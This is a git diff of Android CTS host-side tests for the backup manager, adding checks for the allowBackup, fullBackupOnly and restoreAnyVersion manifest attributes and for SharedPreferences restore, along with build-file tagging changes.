diff --git a/hostsidetests/backup/SharedPreferencesRestoreApp/src/android/cts/backup/sharedprefrestoreapp/SharedPreferencesBackupAgent.java b/hostsidetests/backup/SharedPreferencesRestoreApp/src/android/cts/backup/sharedprefrestoreapp/SharedPreferencesBackupAgent.java
new file mode 100644
index 0000000..e5a3948
--- /dev/null
+++ b/hostsidetests/backup/SharedPreferencesRestoreApp/src/android/cts/backup/sharedprefrestoreapp/SharedPreferencesBackupAgent.java
@@ -0,0 +1,33 @@
+/*
+ * Copyright (C) 2017 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License
+ */
+
+package android.cts.backup.sharedprefrestoreapp;
+
+import android.app.backup.BackupAgentHelper;
+import android.app.backup.SharedPreferencesBackupHelper;
+
+public class SharedPreferencesBackupAgent extends BackupAgentHelper {
+
+    private static final String KEY_BACKUP_TEST_PREFS_PREFIX = "backup-test-prefs";
+    private static final String TEST_PREFS_1 = "test-prefs-1";
+
+    @Override
+    public void onCreate() {
+        super.onCreate();
+        addHelper(KEY_BACKUP_TEST_PREFS_PREFIX,
+                new SharedPreferencesBackupHelper(this, TEST_PREFS_1));
+    }
+}
diff --git a/hostsidetests/backup/SharedPreferencesRestoreApp/src/android/cts/backup/sharedprefrestoreapp/SharedPrefsRestoreTestActivity.java b/hostsidetests/backup/SharedPreferencesRestoreApp/src/android/cts/backup/sharedprefrestoreapp/SharedPrefsRestoreTestActivity.java
new file mode 100644
index 0000000..2f61c65
--- /dev/null
+++ b/hostsidetests/backup/SharedPreferencesRestoreApp/src/android/cts/backup/sharedprefrestoreapp/SharedPrefsRestoreTestActivity.java
@@ -0,0 +1,103 @@
+package android.cts.backup.sharedprefrestoreapp;
+
+import android.app.Activity;
+import android.content.Intent;
+import android.content.SharedPreferences;
+import android.os.Bundle;
+import android.util.Log;
+
+/**
+ * Test activity that verifies SharedPreference restore behavior.
+ * The activity lifecycle is driven by KeyValueBackupRestoreTest and is roughly the following:
+ *
+ * 1. This activity is launched; it creates a new SharedPreferences instance and writes
+ *       a known value to the INT_PREF element's via that instance.  The instance is
+ *       kept live.
+ *   2. The app is backed up, storing this known value in the backup dataset.
+ *   3. Next, the activity is instructed to write a different value to the INT_PREF
+ *       shared preferences element.  At this point, the app's current on-disk state
+ *       and the live shared preferences instance are in agreement, holding a value
+ *       different from that in the backup.
+ *   4. The runner triggers a restore for this app.  This will rewrite the shared prefs
+ *       file itself with the backed-up content (i.e. different from what was just
+ *       committed from this activity).
+ *   5. Finally, the runner instructs the activity to compare the value of its existing
+ *       shared prefs instance's INT_PREF element with what was previously written.
+ *       The test passes if these differ, i.e. if the live shared prefs instance picked
+ *       up the newly-restored data.
+ *
+ */
+public class SharedPrefsRestoreTestActivity extends Activity {
+    static final String TAG = "SharedPrefsTest";
+
+    // Shared prefs test activity actions
+    static final String INIT_ACTION = "android.backup.cts.backuprestore.INIT";
+    static final String UPDATE_ACTION = "android.backup.cts.backuprestore.UPDATE";
+    static final String TEST_ACTION = "android.backup.cts.backuprestore.TEST";
+
+    static final String RESULT_ACTION = "android.backup.cts.backuprestore.RESULT";
+
+    private static final String TEST_PREFS_1 = "test-prefs-1";
+    private static final String INT_PREF = "int-pref";
+    private static final int INT_PREF_VALUE = 1;
+    private static final int INT_PREF_MODIFIED_VALUE = 99999;
+    private static final int INT_PREF_DEFAULT_VALUE = 0;
+    private static final String EXTRA_SUCCESS = "EXTRA_SUCCESS";
+
+    SharedPreferences mPrefs;
+    int mLastValue;
+
+    @Override
+    protected void onCreate(Bundle savedInstanceState) {
+        super.onCreate(savedInstanceState);
+
+        mPrefs = getSharedPreferences(TEST_PREFS_1, MODE_PRIVATE);
+        mLastValue = 0;
+
+        processLaunchCommand(getIntent());
+    }
+
+    @Override
+    protected void onNewIntent(Intent intent) {
+        processLaunchCommand(intent);
+    }
+
+    private void processLaunchCommand(Intent intent) {
+        final String action = intent.getAction();
+        Log.i(TAG, "processLaunchCommand: " + action);
+
+        boolean success = false;
+
+        if (INIT_ACTION.equals(action)) {
+            // We'll issue a backup after setting this value in shared prefs
+            success = setPrefValue(INT_PREF_VALUE);
+        } else if (UPDATE_ACTION.equals(action)) {
+            // We'll issue a *restore* after setting this value, which will send a broadcast
+            // to our receiver to read from the live instance and ensure that the value is
+            // different from what was just written.
+            success = setPrefValue(INT_PREF_MODIFIED_VALUE);
+        } else if (TEST_ACTION.equals(action)) {
+            final int currentValue = mPrefs.getInt(INT_PREF, INT_PREF_DEFAULT_VALUE);
+            Log.i(TAG, "current value: " + currentValue + " last value : " + mLastValue);
+
+            if (currentValue != mLastValue && currentValue != INT_PREF_DEFAULT_VALUE) {
+                success = true;
+            }
+        } else {
+            // Should never happen
+            Log.e(TAG, "Unexpected intent action");
+            return;
+        }
+
+        sendBroadcast(new Intent().setAction(RESULT_ACTION).putExtra(EXTRA_SUCCESS, success));
+    }
+
+    // Write a known value prior to backup
+    private boolean setPrefValue(int value) {
+        Log.i(TAG, "mLastValue = " + mLastValue + " setPrefValue: " + value );
+        mLastValue = value;
+        boolean success = mPrefs.edit().putInt(INT_PREF, value).commit();
+        Log.i(TAG, "setPrefValue success: " + success);
+        return success;
+    }
+}
diff --git a/hostsidetests/backup/src/android/cts/backup/AllowBackupHostSideTest.java b/hostsidetests/backup/src/android/cts/backup/AllowBackupHostSideTest.java
new file mode 100644
index 0000000..043c982
--- /dev/null
+++ b/hostsidetests/backup/src/android/cts/backup/AllowBackupHostSideTest.java
@@ -0,0 +1,116 @@
+/*
+ * Copyright (C) 2017 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License
+ */
+
+package android.cts.backup;
+
+import static junit.framework.Assert.assertNull;
+
+import com.android.tradefed.testtype.DeviceJUnit4ClassRunner;
+import com.android.tradefed.device.DeviceNotAvailableException;
+
+import org.junit.After;
+import org.junit.Test;
+import org.junit.runner.RunWith;
+
+/**
+ * Test checking that allowBackup manifest attribute is respected by backup manager.
+ *
+ * Uses 2 apps that differ only by 'allowBackup' manifest attribute value.
+ *
+ * Tests 2 scenarios:
+ *
+ * 1. App that has 'allowBackup=false' in the manifest shouldn't be backed up.
+ * 2. App that doesn't have 'allowBackup' in the manifest (default is true) should be backed up.
+ *
+ * The flow of the tests is the following:
+ * 1. Install the app
+ * 2. Generate files in the app's data folder.
+ * 3. Run 'bmgr backupnow'. Depending on the manifest we expect either 'Success' or
+ * 'Backup is not allowed' in the output.
+ * 4. Uninstall/reinstall the app
+ * 5. Check whether the files were restored or not depending on the manifest.
+ *
+ * Invokes device side tests provided by
+ * android.cts.backup.backupnotallowedapp.AllowBackupTest.
+ */
+@RunWith(DeviceJUnit4ClassRunner.class)
+public class AllowBackupHostSideTest extends BaseBackupHostSideTest {
+
+    private static final String ALLOWBACKUP_APP_NAME = "android.cts.backup.backupnotallowedapp";
+    private static final String ALLOWBACKUP_DEVICE_TEST_CLASS_NAME =
+            ALLOWBACKUP_APP_NAME + ".AllowBackupTest";
+
+    /** The name of the APK of the app that has allowBackup=false in the manifest */
+    private static final String ALLOWBACKUP_FALSE_APP_APK = "BackupNotAllowedApp.apk";
+
+    /** The name of the APK of the app that doesn't have allowBackup in the manifest
+     * (same as allowBackup=true by default) */
+    private static final String ALLOWBACKUP_APP_APK = "BackupAllowedApp.apk";
+
+    @After
+    public void tearDown() throws Exception {
+        super.tearDown();
+
+        // Clear backup data and uninstall the package (in that order!)
+        clearBackupDataInLocalTransport(ALLOWBACKUP_APP_NAME);
+        assertNull(uninstallPackage(ALLOWBACKUP_APP_NAME));
+    }
+
+    @Test
+    public void testAllowBackup_False() throws Exception {
+        installPackage(ALLOWBACKUP_FALSE_APP_APK, "-d", "-r");
+
+        // Generate the files that are going to be backed up.
+        checkAllowBackupDeviceTest("createFiles");
+
+        // Do a backup
+        String backupnowOutput = backupNow(ALLOWBACKUP_APP_NAME);
+
+        assertBackupIsNotAllowed(ALLOWBACKUP_APP_NAME, backupnowOutput);
+
+        assertNull(uninstallPackage(ALLOWBACKUP_APP_NAME));
+
+        installPackage(ALLOWBACKUP_FALSE_APP_APK, "-d", "-r");
+
+        checkAllowBackupDeviceTest("checkNoFilesExist");
+    }
+
+    @Test
+    public void testAllowBackup_True() throws Exception {
+        installPackage(ALLOWBACKUP_APP_APK, "-d", "-r");
+
+        // Generate the files that are going to be backed up.
+        checkAllowBackupDeviceTest("createFiles");
+
+        // Do a backup
+        String backupnowOutput = backupNow(ALLOWBACKUP_APP_NAME);
+
+        assertBackupIsSuccessful(ALLOWBACKUP_APP_NAME, backupnowOutput);
+
+        assertNull(uninstallPackage(ALLOWBACKUP_APP_NAME));
+
+        installPackage(ALLOWBACKUP_APP_APK, "-d", "-r");
+
+        checkAllowBackupDeviceTest("checkAllFilesExist");
+    }
+
+    private void checkAllowBackupDeviceTest(String methodName)
+            throws DeviceNotAvailableException {
+        checkDeviceTest(ALLOWBACKUP_APP_NAME, ALLOWBACKUP_DEVICE_TEST_CLASS_NAME,
+                methodName);
+    }
+
+}
diff --git a/hostsidetests/backup/src/android/cts/backup/BaseBackupHostSideTest.java b/hostsidetests/backup/src/android/cts/backup/BaseBackupHostSideTest.java
index 9a04db8..28c775a 100644
--- a/hostsidetests/backup/src/android/cts/backup/BaseBackupHostSideTest.java
+++ b/hostsidetests/backup/src/android/cts/backup/BaseBackupHostSideTest.java
@@ -91,6 +91,13 @@
     }
 
     /**
+     * Attempts to clear the device log.
+     */
+    protected void clearLogcat() throws DeviceNotAvailableException {
+        mDevice.executeAdbCommand("logcat", "-c");
+    }
+
+    /**
      * Run test <testName> in test <className> found in package <packageName> on the device, and
      * assert it is successful.
      */
@@ -107,7 +114,6 @@
      * Expected format: "Package <packageName> with result: Success"
      */
     protected void assertBackupIsSuccessful(String packageName, String backupnowOutput) {
-        // Assert backup was successful.
         Scanner in = new Scanner(backupnowOutput);
         boolean success = false;
         while (in.hasNextLine()) {
@@ -125,6 +131,29 @@
     }
 
     /**
+     * Parsing the output of "bmgr backupnow" command and checking that the package under test
+     * wasn't backed up because backup is not allowed
+     *
+     * Expected format: "Package <packageName> with result:  Backup is not allowed"
+     */
+    protected void assertBackupIsNotAllowed(String packageName, String backupnowOutput) {
+        Scanner in = new Scanner(backupnowOutput);
+        boolean found = false;
+        while (in.hasNextLine()) {
+            String line = in.nextLine();
+
+            if (line.contains(packageName)) {
+                String result = line.split(":")[1].trim();
+                if ("Backup is not allowed".equals(result)) {
+                    found = true;
+                }
+            }
+        }
+        in.close();
+        assertTrue("Didn't find \'Backup not allowed\' in the output", found);
+    }
+
+    /**
      * Parsing the output of "bmgr restore" command and checking that the package under test
      * was restored successfully.
      *
diff --git a/hostsidetests/backup/src/android/cts/backup/FullBackupOnlyHostSideTest.java b/hostsidetests/backup/src/android/cts/backup/FullBackupOnlyHostSideTest.java
new file mode 100644
index 0000000..7697dd2
--- /dev/null
+++ b/hostsidetests/backup/src/android/cts/backup/FullBackupOnlyHostSideTest.java
@@ -0,0 +1,155 @@
+/*
+ * Copyright (C) 2017 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License
+ */
+
+package android.cts.backup;
+
+import static junit.framework.Assert.assertNull;
+
+import com.android.tradefed.device.DeviceNotAvailableException;
+import com.android.tradefed.testtype.DeviceJUnit4ClassRunner;
+
+import org.junit.After;
+import org.junit.Test;
+import org.junit.runner.RunWith;
+
+/**
+ * Test checking that 'fullBackupOnly' manifest attribute is respected by backup manager.
+ *
+ * Uses 3 different versions of the same app that differ only by 'fullBackupOnly' value and the
+ * presence/absence of the backup agent.*
+ *
+ * Invokes device side tests provided by
+ * {@link android.cts.backup.fullbackupapp.FullBackupOnlyTest}.
+ *
+ * The flow of the tests is the following:
+ * 1. Install the app
+ * 2. Generate files in data folder of the app, including a file in no_backup folder. The file in
+ * no_backup folder is used for key/value backup by the backup agent of the app.
+ * 3. Run 'bmgr backupnow'. Depending on the manifest of the app we expect either Dolly or Key/value
+ * backup to be performed.
+ * 4. Uninstall and reinstall the app.
+ * 5. Check that the correct files were restored depending on the manifest:
+ * - Files in the app's data folder for Dolly backup
+ * - Only file in no_backup folder for key/value.
+ */
+@RunWith(DeviceJUnit4ClassRunner.class)
+public class FullBackupOnlyHostSideTest extends BaseBackupHostSideTest {
+
+    private static final String FULLBACKUPONLY_APP_PACKAGE = "android.cts.backup.fullbackuponlyapp";
+    private static final String FULLBACKUPONLY_DEVICE_TEST_CLASS_NAME =
+            FULLBACKUPONLY_APP_PACKAGE + ".FullBackupOnlyTest";
+
+    /**
+     * The name of the APK of the app that has a backup agent and fullBackupOnly=false in the
+     * manifest
+     */
+    private static final String FULLBACKUPONLY_FALSE_WITH_AGENT_APP_APK =
+            "FullBackupOnlyFalseWithAgentApp.apk";
+
+    /**
+     * The name of the APK of the app that has no backup agent and fullBackupOnly=false in the
+     * manifest
+     */
+    private static final String FULLBACKUPONLY_FALSE_NO_AGENT_APP_APK =
+            "FullBackupOnlyFalseNoAgentApp.apk";
+
+    /**
+     * The name of the APK of the app that has a backup agent and fullBackupOnly=true in the
+     * manifest
+     */
+    private static final String FULLBACKUPONLY_TRUE_WITH_AGENT_APP_APK =
+            "FullBackupOnlyTrueWithAgentApp.apk";
+
+
+    @After
+    public void tearDown() throws Exception {
+        super.tearDown();
+
+        // Clear backup data and uninstall the package (in that order!)
+        clearBackupDataInLocalTransport(FULLBACKUPONLY_APP_PACKAGE);
+        assertNull(uninstallPackage(FULLBACKUPONLY_APP_PACKAGE));
+    }
+
+    /**
+     * Tests that the app that doesn't have fullBackupOnly (same as fullBackupOnly=false by default)
+     * and has a backup agent will get key/value backup.
+     * We check that key/value data was restored after reinstall and dolly data was not.
+     */
+    @Test
+    public void testFullBackupOnlyFalse_WithAgent() throws Exception {
+        installPackage(FULLBACKUPONLY_FALSE_WITH_AGENT_APP_APK, "-d", "-r");
+
+        checkFullBackupOnlyDeviceTest("createFiles");
+
+        backupNowAndAssertSuccess(FULLBACKUPONLY_APP_PACKAGE);
+
+        assertNull(uninstallPackage(FULLBACKUPONLY_APP_PACKAGE));
+
+        installPackage(FULLBACKUPONLY_FALSE_WITH_AGENT_APP_APK, "-d", "-r");
+
+        checkFullBackupOnlyDeviceTest("checkKeyValueFileExists");
+        checkFullBackupOnlyDeviceTest("checkDollyFilesDontExist");
+    }
+
+    /**
+     * Tests that the app that doesn't have fullBackupOnly (same as fullBackupOnly=false by default)
+     * and has no backup agent will get Dolly backup.
+     * We check that key/value data was not restored after reinstall and dolly data was.
+     */
+    @Test
+    public void testFullBackupOnlyFalse_NoAgent() throws Exception {
+        installPackage(FULLBACKUPONLY_FALSE_NO_AGENT_APP_APK, "-d", "-r");
+
+        checkFullBackupOnlyDeviceTest("createFiles");
+
+        backupNowAndAssertSuccess(FULLBACKUPONLY_APP_PACKAGE);
+
+        assertNull(uninstallPackage(FULLBACKUPONLY_APP_PACKAGE));
+
+        installPackage(FULLBACKUPONLY_FALSE_NO_AGENT_APP_APK, "-d", "-r");
+
+        checkFullBackupOnlyDeviceTest("checkKeyValueFileDoesntExist");
+        checkFullBackupOnlyDeviceTest("checkDollyFilesExist");
+    }
+
+    /**
+     * Tests that the app that has fullBackupOnly=true  and has a backup agent will only get
+     * Dolly backup.
+     * We check that key/value data was not restored after reinstall and dolly data was.
+     */
+    @Test
+    public void testFullBackupOnlyTrue_WithAgent() throws Exception {
+        installPackage(FULLBACKUPONLY_TRUE_WITH_AGENT_APP_APK, "-d", "-r");
+
+        checkFullBackupOnlyDeviceTest("createFiles");
+
+        backupNowAndAssertSuccess(FULLBACKUPONLY_APP_PACKAGE);
+
+        assertNull(uninstallPackage(FULLBACKUPONLY_APP_PACKAGE));
+
+        installPackage(FULLBACKUPONLY_TRUE_WITH_AGENT_APP_APK, "-d", "-r");
+
+        checkFullBackupOnlyDeviceTest("checkKeyValueFileDoesntExist");
+        checkFullBackupOnlyDeviceTest("checkDollyFilesExist");
+    }
+
+
+    private void checkFullBackupOnlyDeviceTest(String methodName)
+            throws DeviceNotAvailableException {
+        checkDeviceTest(FULLBACKUPONLY_APP_PACKAGE, FULLBACKUPONLY_DEVICE_TEST_CLASS_NAME,
+                methodName);
+    }
+}
diff --git a/hostsidetests/backup/src/android/cts/backup/KeyValueBackupRestoreHostSideTest.java b/hostsidetests/backup/src/android/cts/backup/KeyValueBackupRestoreHostSideTest.java
index 26ba04d..70bfc07 100644
--- a/hostsidetests/backup/src/android/cts/backup/KeyValueBackupRestoreHostSideTest.java
+++ b/hostsidetests/backup/src/android/cts/backup/KeyValueBackupRestoreHostSideTest.java
@@ -43,6 +43,10 @@
     private static final String KEY_VALUE_RESTORE_APP_PACKAGE =
             "android.cts.backup.keyvaluerestoreapp";
 
+    /** The name of the package with the activity testing shared preference restore. */
+    private static final String SHARED_PREFERENCES_RESTORE_APP_PACKAGE =
+            "android.cts.backup.sharedprefrestoreapp";
+
     /** The name of the device side test class */
     private static final String KEY_VALUE_RESTORE_DEVICE_TEST_NAME =
             KEY_VALUE_RESTORE_APP_PACKAGE + ".KeyValueBackupRestoreTest";
@@ -50,11 +54,19 @@
     /** The name of the apk of the app under test */
     private static final String KEY_VALUE_RESTORE_APP_APK = "CtsKeyValueBackupRestoreApp.apk";
 
+    /** The name of the apk with the activity testing shared preference restore. */
+    private static final String SHARED_PREFERENCES_RESTORE_APP_APK =
+            "CtsSharedPreferencesRestoreApp.apk";
+
+
     @Before
     public void setUp() throws Exception {
         super.setUp();
         installPackage(KEY_VALUE_RESTORE_APP_APK);
         clearPackageData(KEY_VALUE_RESTORE_APP_PACKAGE);
+
+        installPackage(SHARED_PREFERENCES_RESTORE_APP_APK);
+        clearPackageData(SHARED_PREFERENCES_RESTORE_APP_APK);
     }
 
     @After
@@ -64,6 +76,9 @@
         // Clear backup data and uninstall the package (in that order!)
         clearBackupDataInLocalTransport(KEY_VALUE_RESTORE_APP_PACKAGE);
         assertNull(uninstallPackage(KEY_VALUE_RESTORE_APP_PACKAGE));
+
+        clearBackupDataInLocalTransport(SHARED_PREFERENCES_RESTORE_APP_PACKAGE);
+        assertNull(uninstallPackage(SHARED_PREFERENCES_RESTORE_APP_PACKAGE));
     }
 
     /**
@@ -98,6 +113,42 @@
         checkDeviceTest("checkSharedPreferencesAreRestored");
     }
 
+    /**
+     * Test that verifies SharedPreference restore behavior.
+     *
+     * The tests uses device-side test routines and a test activity in *another* package, since
+     * the app containing the instrumented tests is killed after each test.
+     *
+     * Test logic:
+     *   1. The activity is launched; it creates a new SharedPreferences instance and writes
+     *       a known value to the INT_PREF element's via that instance.  The instance is
+     *       kept live.
+     *   2. The app is backed up, storing this known value in the backup dataset.
+     *   3. Next, the activity is instructed to write a different value to the INT_PREF
+     *       shared preferences element.  At this point, the app's current on-disk state
+     *       and the live shared preferences instance are in agreement, holding a value
+     *       different from that in the backup.
+     *   4. The runner triggers a restore for this app.  This will rewrite the shared prefs
+     *       file itself with the backed-up content (i.e. different from what was just
+     *       committed from this activity).
+     *   5. Finally, the runner instructs the activity to compare the value of its existing
+     *       shared prefs instance's INT_PREF element with what was previously written.
+     *       The test passes if these differ, i.e. if the live shared prefs instance picked
+     *       up the newly-restored data.
+     */
+    @Test
+    public void testSharedPreferencesRestore() throws Exception {
+        checkDeviceTest("launchSharedPrefActivity");
+
+        backupNowAndAssertSuccess(SHARED_PREFERENCES_RESTORE_APP_PACKAGE);
+
+        checkDeviceTest("updateSharedPrefActivity");
+
+        restoreAndAssertSuccess(SHARED_PREFERENCES_RESTORE_APP_PACKAGE);
+
+        checkDeviceTest("checkSharedPrefActivity");
+    }
+
     private void checkDeviceTest(String methodName)
             throws DeviceNotAvailableException {
         super.checkDeviceTest(KEY_VALUE_RESTORE_APP_PACKAGE, KEY_VALUE_RESTORE_DEVICE_TEST_NAME,
diff --git a/hostsidetests/backup/src/android/cts/backup/RestoreAnyVersionHostSideTest.java b/hostsidetests/backup/src/android/cts/backup/RestoreAnyVersionHostSideTest.java
new file mode 100644
index 0000000..4099169
--- /dev/null
+++ b/hostsidetests/backup/src/android/cts/backup/RestoreAnyVersionHostSideTest.java
@@ -0,0 +1,165 @@
+/*
+ * Copyright (C) 2017 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License
+ */
+
+package android.cts.backup;
+
+import static junit.framework.Assert.assertEquals;
+import static junit.framework.Assert.assertNull;
+import static junit.framework.Assert.assertTrue;
+
+import static org.junit.Assume.assumeTrue;
+
+import com.android.tradefed.testtype.DeviceJUnit4ClassRunner;
+import com.android.tradefed.device.DeviceNotAvailableException;
+
+import org.junit.After;
+import org.junit.Before;
+import org.junit.Test;
+import org.junit.runner.RunWith;
+
+import java.io.FileNotFoundException;
+
+/**
+ * Test checking that restoreAnyVersion manifest flag is respected by backup manager.
+ *
+ * Invokes device side tests provided by
+ * android.cts.backup.restoreanyversionapp.RestoreAnyVersionTest.
+ */
+@RunWith(DeviceJUnit4ClassRunner.class)
+public class RestoreAnyVersionHostSideTest extends BaseBackupHostSideTest {
+
+    /** The name of the package of the app under test */
+    private static final String RESTORE_ANY_VERSION_APP_PACKAGE =
+            "android.cts.backup.restoreanyversionapp";
+
+    /** The name of the device side test class */
+    private static final String RESTORE_ANY_VERSION_DEVICE_TEST_NAME =
+            RESTORE_ANY_VERSION_APP_PACKAGE + ".RestoreAnyVersionTest";
+
+    /** The name of the APK of the app that has restoreAnyVersion=true in the manifest */
+    private static final String RESTORE_ANY_VERSION_APP_APK = "CtsBackupRestoreAnyVersionApp.apk";
+
+    /** The name of the APK of the app that has a higher version code */
+    private static final String RESTORE_ANY_VERSION_UPDATE_APK =
+            "CtsBackupRestoreAnyVersionAppUpdate.apk";
+
+    /** The name of the APK of the app that has restoreAnyVersion=false in the manifest */
+    private static final String NO_RESTORE_ANY_VERSION_APK =
+            "CtsBackupRestoreAnyVersionNoRestoreApp.apk";
+
+    @After
+    public void tearDown() throws Exception {
+        super.tearDown();
+
+        // Clear backup data and uninstall the package (in that order!)
+        clearBackupDataInLocalTransport(RESTORE_ANY_VERSION_APP_PACKAGE);
+        assertNull(uninstallPackage(RESTORE_ANY_VERSION_APP_PACKAGE));
+    }
+
+    /**
+     * Tests that the app that has restoreAnyVersion=false will not get the restored data from a
+     * newer version of that app at install time
+     */
+    @Test
+    public void testRestoreAnyVersion_False() throws Exception {
+        installNewVersionApp();
+
+        saveSharedPreferenceValue();
+        checkRestoreAnyVersionDeviceTest("checkSharedPrefIsNew");
+
+        backupNowAndAssertSuccess(RESTORE_ANY_VERSION_APP_PACKAGE);
+
+        assertNull(uninstallPackage(RESTORE_ANY_VERSION_APP_PACKAGE));
+
+        installNoRestoreAnyVersionApp();
+
+        // Shared preference shouldn't be restored
+        checkRestoreAnyVersionDeviceTest("checkSharedPrefIsEmpty");
+    }
+
+    /**
+     * Tests that the app that has restoreAnyVersion=true will get the restored data from a
+     * newer version of that app at install time
+     */
+    @Test
+    public void testRestoreAnyVersion_True() throws Exception {
+        installNewVersionApp();
+
+        saveSharedPreferenceValue();
+        checkRestoreAnyVersionDeviceTest("checkSharedPrefIsNew");
+
+        backupNowAndAssertSuccess(RESTORE_ANY_VERSION_APP_PACKAGE);
+
+        assertNull(uninstallPackage(RESTORE_ANY_VERSION_APP_PACKAGE));
+
+        installRestoreAnyVersionApp();
+
+        // Shared preference should be restored
+        checkRestoreAnyVersionDeviceTest("checkSharedPrefIsNew");
+    }
+
+    /**
+     * Tests that the app that has restoreAnyVersion=false will still get the restored data from an
+     * older version of that app at install time
+     */
+    @Test
+    public void testRestoreAnyVersion_OldBackupToNewApp() throws Exception {
+        installNoRestoreAnyVersionApp();
+
+        saveSharedPreferenceValue();
+        checkRestoreAnyVersionDeviceTest("checkSharedPrefIsOld");
+
+        backupNowAndAssertSuccess(RESTORE_ANY_VERSION_APP_PACKAGE);
+
+        assertNull(uninstallPackage(RESTORE_ANY_VERSION_APP_PACKAGE));
+
+        installNewVersionApp();
+
+        checkRestoreAnyVersionDeviceTest("checkSharedPrefIsOld");
+    }
+
+    private void saveSharedPreferenceValue () throws DeviceNotAvailableException {
+        checkRestoreAnyVersionDeviceTest("checkSharedPrefIsEmpty");
+        checkRestoreAnyVersionDeviceTest("saveSharedPrefValue");
+    }
+
+    private void installRestoreAnyVersionApp()
+            throws DeviceNotAvailableException, FileNotFoundException {
+        installPackage(RESTORE_ANY_VERSION_APP_APK, "-d", "-r");
+
+        checkRestoreAnyVersionDeviceTest("checkAppVersionIsOld");
+    }
+
+    private void installNoRestoreAnyVersionApp()
+            throws DeviceNotAvailableException, FileNotFoundException {
+        installPackage(NO_RESTORE_ANY_VERSION_APK, "-d", "-r");
+
+        checkRestoreAnyVersionDeviceTest("checkAppVersionIsOld");
+    }
+
+    private void installNewVersionApp()
+            throws DeviceNotAvailableException, FileNotFoundException {
+        installPackage(RESTORE_ANY_VERSION_UPDATE_APK, "-d", "-r");
+
+        checkRestoreAnyVersionDeviceTest("checkAppVersionIsNew");
+    }
+
+    private void checkRestoreAnyVersionDeviceTest(String methodName)
+            throws DeviceNotAvailableException {
+        checkDeviceTest(RESTORE_ANY_VERSION_APP_PACKAGE, RESTORE_ANY_VERSION_DEVICE_TEST_NAME,
+                methodName);
+    }
+}
diff --git a/hostsidetests/bootstats/Android.mk b/hostsidetests/bootstats/Android.mk
index 24e2f8b..97d587e 100644
--- a/hostsidetests/bootstats/Android.mk
+++ b/hostsidetests/bootstats/Android.mk
@@ -20,13 +20,13 @@
 LOCAL_SRC_FILES := $(call all-java-files-under, src)
 
 LOCAL_MODULE := CtsBootStatsTestCases
-LOCAL_STATIC_JAVA_LIBRARIES := host-framework-protos
-LOCAL_JAVA_LIBRARIES := cts-tradefed tradefed compatibility-host-util host-libprotobuf-java-full
+LOCAL_STATIC_JAVA_LIBRARIES := framework-protos
+LOCAL_JAVA_LIBRARIES := cts-tradefed tradefed compatibility-host-util libprotobuf-java-full
 
 LOCAL_CTS_TEST_PACKAGE := android.bootstats
 
 # tag this module as a cts test artifact
-LOCAL_COMPATIBILITY_SUITE := cts
+LOCAL_COMPATIBILITY_SUITE := cts general-tests
 
 include $(BUILD_CTS_HOST_JAVA_LIBRARY)
 
diff --git a/hostsidetests/compilation/Android.mk b/hostsidetests/compilation/Android.mk
index 723e5c3..88339b9 100644
--- a/hostsidetests/compilation/Android.mk
+++ b/hostsidetests/compilation/Android.mk
@@ -23,7 +23,7 @@
 LOCAL_MODULE_TAGS := tests
 
 # tag this module as a cts test artifact
-LOCAL_COMPATIBILITY_SUITE := cts
+LOCAL_COMPATIBILITY_SUITE := cts general-tests
 
 LOCAL_MODULE := CtsCompilationTestCases
 
diff --git a/hostsidetests/compilation/app/Android.mk b/hostsidetests/compilation/app/Android.mk
index 5bcf108..d2f38db 100644
--- a/hostsidetests/compilation/app/Android.mk
+++ b/hostsidetests/compilation/app/Android.mk
@@ -26,6 +26,6 @@
 LOCAL_PACKAGE_NAME := CtsCompilationApp
 
 # tag this module as a cts test artifact
-LOCAL_COMPATIBILITY_SUITE := cts
+LOCAL_COMPATIBILITY_SUITE := cts general-tests
 
 include $(BUILD_CTS_SUPPORT_PACKAGE)
diff --git a/hostsidetests/content/Android.mk b/hostsidetests/content/Android.mk
index 342c8f5..62708f0 100644
--- a/hostsidetests/content/Android.mk
+++ b/hostsidetests/content/Android.mk
@@ -25,7 +25,7 @@
 
 LOCAL_CTS_TEST_PACKAGE := android.content
 
-LOCAL_COMPATIBILITY_SUITE := cts
+LOCAL_COMPATIBILITY_SUITE := cts general-tests
 
 include $(BUILD_CTS_HOST_JAVA_LIBRARY)
 
diff --git a/hostsidetests/content/test-apps/CtsSyncAccountAccessOtherCertTests/Android.mk b/hostsidetests/content/test-apps/CtsSyncAccountAccessOtherCertTests/Android.mk
index c9d3ec5..84ace13 100644
--- a/hostsidetests/content/test-apps/CtsSyncAccountAccessOtherCertTests/Android.mk
+++ b/hostsidetests/content/test-apps/CtsSyncAccountAccessOtherCertTests/Android.mk
@@ -36,7 +36,7 @@
 
 LOCAL_CERTIFICATE := cts/hostsidetests/appsecurity/certs/cts-testkey2
 
-LOCAL_COMPATIBILITY_SUITE := cts
+LOCAL_COMPATIBILITY_SUITE := cts general-tests
 
